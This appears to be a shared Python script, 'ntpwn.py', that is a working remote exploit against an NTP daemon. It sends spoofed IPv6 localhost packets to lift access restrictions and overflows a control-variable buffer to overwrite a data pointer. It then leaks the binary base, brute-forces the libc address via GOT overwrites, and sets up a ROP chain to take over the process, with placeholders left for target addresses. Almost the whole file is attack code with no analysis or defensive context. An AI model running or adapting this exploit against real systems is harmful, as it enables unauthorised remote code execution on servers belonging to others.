ficapy
2/4/2016 - 12:38 PM
ntpwn.py
#!/usr/bin/env python
from socket import socket, AF_INET, SOCK_DGRAM, timeout
import hashlib
import time
import struct
from scapy.all import sendp, Ether, IPv6, UDP, Raw
from bitarray import bitarray
IP6 = PUT_TARGET_LINK_LOCAL_IPV6_HERE
IP4 = PUT_TARGET_IPV4_HERE
SRC_IP4 = PUT_YOUR_IPV4_HERE
IFACE = PUT_OUTGOING_INTERFACE_NAME_HERE
SPORT = 1234
PORT = 123
SOCKET_TIMEOUT = 0.2
RETRY_TIMEOUT = 0.1
strlen_off = 0x1720
bin_base = 0
rpkt_data = 0x5bee6
rpkt_data_CTL_MAX_DATA_LEN = 0x5c0ba
datapt = 0x5c0f8
_free_got = 0x4f230
_strlen_got = 0x4f520
remote_config_buffer = 0x55910
DATAPT_OFF = datapt - rpkt_data
DATAEND_OFF = rpkt_data_CTL_MAX_DATA_LEN
class NullByteException(Exception):
def __init__(self, msg):
super(NullByteException, self).__init__(msg)
class ShortResponseException(Exception):
def __init__(self, msg):
super(ShortResponseException, self).__init__(msg)
def send_rcv(data, spoof=False, skip_recv=False):
if spoof:
sendp(Ether()/IPv6(src="::1", dst=IP6)/UDP(sport=SPORT, dport=PORT)/Raw(data), iface=IFACE)
return
s.sendto(data, (IP4, PORT))
if skip_recv:
return
data, _ = s.recvfrom(1024)
return data
def calc_mac(data):
return hashlib.md5(auth_key + data).digest()
def send_ctrl(data, mode, spoof=False, skip_recv=False, add_mac=True):
#print '[debug] send_ctrl {} bytes, mode {}, spoof: {}'.format(len(data), mode, spoof)
if len(data) > 0:
data = data.ljust(len(data)+(4-(len(data)%4)), "\x00")
if add_mac:
if len(data) % 8 == 0:
data += '\x00'*4
ctrl_pkt = chr(0x20 | 6) #leap version mode
ctrl_pkt += chr(mode) #response, more, error, opcode
ctrl_pkt += 'AA' #seq nr
ctrl_pkt += 'BB' #status word
ctrl_pkt += '\x00\x00' #assoc id
ctrl_pkt += '\x00\x00' #offset
ctrl_pkt += struct.pack('>H', len(data)) #data count
ctrl_pkt += data
if add_mac:
mac = calc_mac(ctrl_pkt)
ctrl_pkt += struct.pack('>I', 65535) #keyid
ctrl_pkt += mac
return send_rcv(ctrl_pkt, spoof, skip_recv=skip_recv)
def send_private(data, mode, spoof=False):
pkt = chr(0x20 | 7) #leap version mode
pkt += chr(0x80) #auth sequence
pkt += chr(3) #impl nr
pkt += chr(mode) #request
pkt += '\x00\x00' #err nitems
pkt += struct.pack('>H', len(data)) #mbz_itemsize
pkt += data
pkt += struct.pack('>I', int(time.time()) - 1 + 0x83aa7e80)
pkt += '\x00\x00\x00\x00' #timestamp
mac = calc_mac(pkt)
pkt += struct.pack('>I', 65535) #keyid
pkt += mac
return send_rcv(pkt, spoof)
def add_ctl_key():
send_private(struct.pack('>I', 65535)+'\x00'*4, 33, spoof=True)
def lift_restrict():
send_ctrl('restrict {}\n'.format(SRC_IP4), 8, spoof=True) #set variable
def pack_addr(addr):
bytes = struct.pack('<Q', addr)
bytes = bytes.rstrip('\x00')
len_bytes = len(bytes)
len_adjust = len('a='+'E'*(DATAPT_OFF-2)) + len_bytes
addr -= len_adjust
bytes = struct.pack('<Q', addr)
bytes = bytes.rstrip('\x00')
assert len(bytes) == len_bytes
return bytes
def overwrite_datapt(bytes):
print '[*] overwriting datapt with {} bytes'.format(len(bytes))
assert len(bytes) > 0 and '\x00' not in bytes
#send_ctrl('setvar a = ' + 'i'*(DATAPT_OFF-2) + bytes + '\n', 8) #set variable
send_ctrl('setvar a = {}\n'.format('i'*(DATAPT_OFF-2) + bytes), 8) #set variable
send_ctrl("a=", 2) #read var
response, _ = s.recvfrom(4096)
return response
def leak_base(bytes):
response = overwrite_datapt(bytes)
if len(response) < DATAPT_OFF + 8 + 8 + 12 + 8:
raise ShortResponseException('response too short got {}, want {}'.format(len(response), DATAPT_OFF + 8 + 8 + 12 + 8))
dataend_addr = response[DATAPT_OFF + 12 + 8:DATAPT_OFF + 12 + 8 + 5] + '\x00'*3
dataend_addr = struct.unpack('<Q', dataend_addr)[0]
return dataend_addr - DATAEND_OFF
def overwrite(what, where, rdi, rsp_8='', use_strlen=True):
print '[*] writing 0x{:x} to 0x{:x}'.format(what, where)
where = pack_addr(where-5) #TODO 3 or 5?
what = struct.pack('<Q', what).rstrip('\x00')
if len(where) == 0 or '\x00' in where or len(what) == 0 or '\x00' in what:
raise NullByteException('null byte in what or where')
send_ctrl('setvar x = "{}"'.format('H'*(DATAPT_OFF-2) + where) + '\n', 8) #set variable
send_ctrl('setvar y = "{}"'.format(what) + '\n', 8) #set variable
send_ctrl('setvar z = "{}"'.format(rdi) + '\n', 8) #set variable
read_var_str = 'x=,y='
if use_strlen:
read_var_str += ',z={}'.format(rsp_8)
print '[*] preparing the stack'
prepare_stack(gadget2+libc_base, bin_base+remote_config_buffer+8)
print '[*] preparing the shellcode'
prepare_shellcode()
print '[*] setting up remote config buffer at address 0x{:x}'.format(bin_base+remote_config_buffer)
send_ctrl(shellcode, 8)
send_ctrl(read_var_str, 2, skip_recv=True) #read var
def add_trap():
s.settimeout(SOCKET_TIMEOUT)
try:
send_ctrl('', 6) #set variable
except timeout as e:
s.settimeout(None)
raise e
s.settimeout(None)
def is_up():
pkt = chr(0x20 | 0x3)
pkt += chr(0x1)
pkt += 'b'*8
pkt += 'c'*8
pkt += 'd'*8
pkt += 'jklmnopq'
pkt += '123456'
pkt += 'A'*8
try:
s.settimeout(SOCKET_TIMEOUT)
send_rcv(pkt)
s.settimeout(None)
return True
except timeout:
s.settimeout(None)
return False
def prepare_stack(ret_addr, buf_addr):
ret_addr = struct.pack('>Q', ret_addr)
buf_addr = struct.pack('>Q', buf_addr)
pkt = chr(0x20 | 0x3)
pkt += chr(0x1)
pkt += 'b'*8
pkt += 'c'*8
pkt += 'd'*8
pkt += 'jklmno'
pkt += buf_addr[4:]
pkt += buf_addr[:4]
pkt += ret_addr[4:]
pkt += ret_addr[:4]
send_rcv(pkt)
def trigger_crash():
try:
s.settimeout(SOCKET_TIMEOUT)
send_ctrl('setvar a = ' + 'H'*(DATAPT_OFF-2) + 'a'*8 + '\n', 8) #set variable
send_ctrl('a=', 2, skip_recv=True) #read var
except timeout:
pass
auth_key = 'AAAA'
s = None
def prepare_connection():
global s
s = socket(AF_INET, SOCK_DGRAM)
while not is_up():
print '[*] host not reachable, retrying in {} second'.format(RETRY_TIMEOUT)
time.sleep(RETRY_TIMEOUT)
print '[*] adding ctl key'
add_ctl_key()
print '[*] lifting restrictions'
lift_restrict()
print '[*] adding trap'
add_trap()
def crash():
prepare_connection()
trigger_crash()
def overwrite_got(what, rdi, rsp_8, use_strlen=True):
global bin_base
prepare_connection()
if use_strlen:
where = _strlen_got
else:
where = _free_got
print '[*] leaking base address'
try:
s.settimeout(SOCKET_TIMEOUT)
bin_base = leak_base('\xfc\x20')
s.settimeout(None)
except ShortResponseException:
print '[*] leaking base address failed, retrying'
return overwrite_got(what, rdi, rsp_8, use_strlen)
print '[*] binary at 0x{:x}'.format(bin_base)
try:
overwrite(what, bin_base+where, rdi, rsp_8, use_strlen=use_strlen)
s.settimeout(SOCKET_TIMEOUT)
s.recvfrom(1024)[0].encode('hex')
except NullByteException:
print '[*] null byte in address, crash and retry'
trigger_crash()
return overwrite_got(what, rdi, rsp_8, use_strlen)
shellcode = ''
ropchain = 'A'*8
def prepare_shellcode():
global shellcode
shellcode = '\n'+'\x00'*7
shellcode += 'D'*8
shellcode += struct.pack('<Q', libc_base+gadget7)
shellcode += struct.pack('<Q', libc_base+gadget3)
shellcode += 'E'*8
shellcode += 'F'*8
shellcode += struct.pack('<Q', libc_base+gadget5) #new rdi
shellcode += struct.pack('<Q', bin_base+remote_config_buffer+8) #new rdi
shellcode += struct.pack('<Q', libc_base+gadget6) #rbx
shellcode += struct.pack('<Q', libc_base+gadget4)
shellcode += 'G'*16
shellcode += ropchain
libc_base = 0
gadget1 = 0x11065 #add rsp, x
gadget2 = 0x67d81 #mov rdi, r12
gadget3 = 0x438ba #fix rbp
gadget4 = 0x1c6d7 #load rbx rdi+0x38
gadget5 = 0x5fa49 #mov rsi, r12
gadget6 = 0x56fd #push rsi, pop rsp
gadget7 = 0x2bd06 #add rsp, n
CHAR_BLACKLIST = '\x00\n"\xff'
ranges = [xrange(1,2**4), reversed(xrange(1,2**8)), xrange(1,2**5)]
shifts = [12, 16, 24]
strlen_addr = strlen_off
for i in range(3):
for a in ranges[i]:
addr = (a<<shifts[i]) + strlen_addr
if i == 2:
addr += 0x80000000
print '[*] trying strlen address 0x{:x}'.format(addr)
if any(c in CHAR_BLACKLIST for c in struct.pack('<Q', addr).rstrip('\x00')):
continue
overwrite_got(addr, 'A', 'A')
print '[*] found candidate, verifying'
if is_up():
trigger_crash()
overwrite_got(addr, 'A', 'A')
if is_up():
trigger_crash()
strlen_addr = addr
print '[*] found next byte. New address: 0x{:x}'.format(addr)
break
strlen_addr += 0x7fff00000000
libc_base = strlen_addr - strlen_off
print '[*] found libc base: 0x{:x}'.format(libc_base)
overwrite_got(libc_base+gadget1, 'A', 'A')